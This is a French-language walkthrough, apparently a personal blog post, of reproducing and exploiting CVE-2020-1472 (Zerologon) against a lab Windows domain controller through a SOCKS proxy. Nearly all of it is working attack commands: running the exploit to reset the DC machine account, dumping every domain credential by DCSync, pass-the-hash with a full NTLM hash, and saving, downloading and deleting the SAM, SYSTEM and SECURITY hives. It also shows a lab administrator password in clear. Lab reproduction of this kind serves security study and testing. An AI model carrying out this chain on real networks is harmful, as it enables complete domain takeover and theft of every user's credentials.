
cve-2020-1472 reproduction, exploitation et son exp
Reproduction de cette vulnérabilité dans un environnement de domaine Windows via un proxy avec proxychains sous macOS.
DC (contrôleur de domaine principal) :

Domain User (hôte membre du domaine) :
Configuration d'un proxy direct SOCKS5 via gost.

Attack Hacker (machine d'attaque) :
Configuration de proxychains4
vim /Users/xq17/.proxychains/proxychains.conf
Ajout de la liste ProxyList
[ProxyList] socks5 10.211.55.42 8099
Attack Tools (outils d'attaque) :
1.git clone https://github.com/mstxq17/cve-2020-1472.git
2.pip3 install -r requirements.txt
Si vous obtenez cette erreur :

Cela signifie que le module impacket pose problème. Essayez de désinstaller le module impacket, puis installez la dernière version depuis GitHub.
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .
Le problème est ainsi résolu.
Version en C# : https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
Commencez par tenter d'obtenir le mot de passe du contrôleur de domaine afin d'exporter le hash du compte machine du domaine, pour pouvoir le comparer après modification.
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"
Ou retirez les guillemets, mais attention : sous Linux, $ représente le début d'une variable, pensez donc à l'échapper.
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$

Utilisez zerologon_tester.py pour vérifier si la vulnérabilité est présente.
python3 zerologon_tester.py DC 10.211.55.38

Le retour Success indique que la vulnérabilité existe.
Utilisez cve-2020-1472-exploit.py pour réinitialiser le compte machine.
python3 cve-2020-1472-exploit.py dc$ 10.211.55.38


Le compte machine du contrôleur de domaine peut ensuite être utilisé avec DCSync pour exporter les identifiants de tous les utilisateurs du domaine.
Principe :
Utilisation du protocole DRS (Directory Replication Service) via IDL_DRSGetNCChanges pour copier les identifiants des utilisateurs depuis le contrôleur de domaine.
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass

Restaurer le mot de passe du compte machine DC$ Via
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass -just-dc | grep 'Administrator'
Obtenir le hash de l'administrateur du domaine.


Ensuite, via wmic, effectuer un pass the hash pour obtenir les droits administrateur local (administrateur du domaine) sur le contrôleur de domaine.
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/[email protected]
Puis exécutez successivement les commandes pour copier la base SAM de la machine locale vers le Mac.
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save
Dans un environnement à domaine unique :
Le processus fonctionne parfaitement. Après un redémarrage du contrôleur de domaine, aucune anomalie n'a été constatée, mais le DNS des machines membres du domaine peut rencontrer des problèmes, sans toutefois affecter l'authentification.

Après restauration du mot de passe :

Dans un environnement à double domaine, avec un contrôleur de domaine principal DC et un contrôleur de domaine de secours DC01 :

Après avoir récupéré les hashes des comptes machines des deux contrôleurs de domaine, on constate qu'ils sont différents.

Après avoir attaqué le contrôleur de domaine secondaire, on observe que le domaine principal n'a pas été affecté, et que les données ntdis.dist ont également été synchronisées.

Après avoir attaqué le domaine principal, net time /domain génère également une erreur, comme dans l'environnement à domaine unique, mais la synchronisation est rétablie immédiatement après restauration du mot de passe.
La création d'un nouveau compte est synchronisée directement.

La modification d'un mot de passe n'affecte pas non plus la synchronisation.
D'après mon expérience, aucun problème de sortie de domaine n'a été constaté pour l'instant. Je vous recommande de suivre cette procédure de bout en bout. N'hésitez pas à me contacter pour discuter de tout problème !

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
Extraire le hash hexadécimal du compte machine.

Enfin, exécutez
proxychains4 python3 restorepassword.py DC@DC -target-ip 10.211.55.38 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f969563803b0f1bae7ccd24b29b41ae611025f1952793562d73e7f4e0f8938b3361332b35dd5ee22785b79b922149db32dc5c9301f4fd9fd090f532575bf5197a9c9230955bfd96ab928ae66b3999730c75b8545e26770816f21f2dbf9dbb19432211a91224c4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960

On peut constater que les informations ont été entièrement restaurées.